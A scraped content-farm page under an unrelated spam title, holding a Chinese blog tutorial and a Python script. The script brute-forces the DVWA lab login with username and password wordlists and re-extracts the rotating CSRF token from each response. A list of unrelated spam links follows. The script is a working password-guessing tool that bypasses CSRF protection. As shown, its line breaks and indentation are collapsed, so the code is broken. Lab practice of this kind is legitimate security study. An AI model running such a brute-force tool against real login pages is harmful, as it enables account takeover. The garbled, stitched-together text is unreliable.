当前位置: 首页 > news >正文

网校网站怎么做网站官网建设

网校网站怎么做,网站官网建设,北京网站开发企业,一流的购物网站建设目录 写在前面 使用方法 相关代码 写在前面 最近在学习使用Burp Suite时发现其intruder模块无法实现多种模式的混合使用,就如想要暴力破解账号和口令两个区域并同时跟踪网页的csrf_token时BP似乎不能很方便的实现这一功能,于是自己在练习时就想到了用…

目录

写在前面

使用方法

相关代码


写在前面

最近在学习使用Burp Suite时发现其intruder模块无法实现多种模式的混合使用,就如想要暴力破解账号和口令两个区域并同时跟踪网页的csrf_token时BP似乎不能很方便的实现这一功能,于是自己在练习时就想到了用python脚本的方式来弥补BP中的这一欠缺,其中的核心便是用python中的正则匹配库实现对Response内容的分析和定位需要获取的内容

相关代码

import requests
import re# 填入请求地址
url = "http://192.168.160.131/DVWA/vulnerabilities/brute/"
# 填入请求头中的Cookie值
cookie = "security=high; PHPSESSID=ekjn7547iglbc0stpsef2m9gm3"
# 填入页面中下次一请求需要携带的csrf_token值
csrf_token = "99095598fea3cf9d615b2687747aaf5f"
bf_flag = False
# success为未知,但可以尝试出登陆失败的信息
success = ""
failure = "Username and/or password incorrect"
count = 0
# 定义正则表达式匹配规则,匹配某个input标签中name为user_token的字段的value值
# <input[^>]匹配以<input开始到>字符串
# 正则表达式的规则中+号后面的规则会继续对加号前面所匹配到字符串做处理,相当于层层筛选
# name=["\']user_token["\']匹配name="user_token"或name='user_token'字符串
# [^>]+value=["\']在input标签中,找到属性value=
# ([^"\']+)用来获取到匹配到的value中属性的值
# [^"\']+匹配非引号的字符
model = r'<input[^>]+name=["\']user_token["\'][^>]+value=["\']([^"\']+)["\']'with open("./user.txt", 'r') as file_usr:with open("./pswd.txt", 'r') as file_pwd:while not bf_flag:first = file_usr.readline()if not first:break# 在内层循环之前,重置文件指针到文件开头实现遍历file_pwd.seek(0)while not bf_flag:second = file_pwd.readline()if not second:breakfirst = first.strip()second = second.strip()count += 1response = requests.get(url = url,params = {"username":first, "password":second, "Login":"Login", "user_token":csrf_token},headers = {"Cookie":cookie})match = re.search(model, response.text)if match:# 获取正则表达式匹配到的内容,这里正常情况下只会匹配到一个,用.group(1)即可csrf_token = match.group(1)else:print("获取token失败,请检查匹配规则")if failure in response.text:print("第"+ str(count) +"次尝试--失败:",first + " " + second)else:print("第"+ str(count) +"次尝试--成功:",first + " " + second)bf_flag = True;break;

使用方法

在登陆界面随意尝试,查看并复制请求头中的Cookie值

在页面元素中查找下一次向服务器请求所需要的csrf_token值 

填写到脚本的对应位置

根据自己的情况分别引入账号、口令两个字典文件

 运行代码等待破解成功

http://www.yayakq.cn/news/701666/

相关文章:

  • 高端网站设计开发品牌设计的概念
  • 便利的合肥网站建设阿里云备案网站建设方案书范文
  • 特微网站首页网站加图标
  • 大学网站建设专业广州网站建设优化方案
  • 网站更改了资料 百度什么时侯来抓取seo工具在线访问
  • 网站开发需要编程吗wordpress 数据转换
  • dw中怎样做网站链接网络服务的重要性?
  • 怎么做网站广告位设计师找图网站
  • 免费的站内推广方式有哪些哈尔滨公司建站模板
  • 烟台理工学校网站研发外包公司
  • 一台虚拟主机能建设几个网站如何在网上卖产品
  • 提供手机网站开发html网站地图生成
  • wordpress网站加速工具wordpress+浏览人数
  • 网站建设公司位置公司装修开工大吉贺词
  • 比特币网站怎么做厚街网站建设报价
  • 设计网站推荐html企业邮箱号码
  • 秒收录网站有哪些wordpress 编辑权限设置
  • 生成短链接的网站wordpress 自定义模型
  • 原型样网站网站登录和权限怎么做
  • 福州谷歌推广台州网站建设seo
  • 北京企业网站搭建wordpress菜单底部导航
  • 营销型网站建设哪里济南兴田德润优惠吗如何购买域名和服务器
  • 惠州建站平台淘宝有做网站吗
  • 常用的网站建设程序有那些西柏坡门户网站建设规划书
  • 沃尔玛网上商城app咸阳seo优化
  • 备案 修改网站名称专业做网站开发
  • 北京市住房建设网站手机网站设计与实现毕业设计
  • 医院做网站备案都需要什么app制作网站
  • 顺的网站建设精英网站改版收费
  • linux下做网站个人博客网站模板下载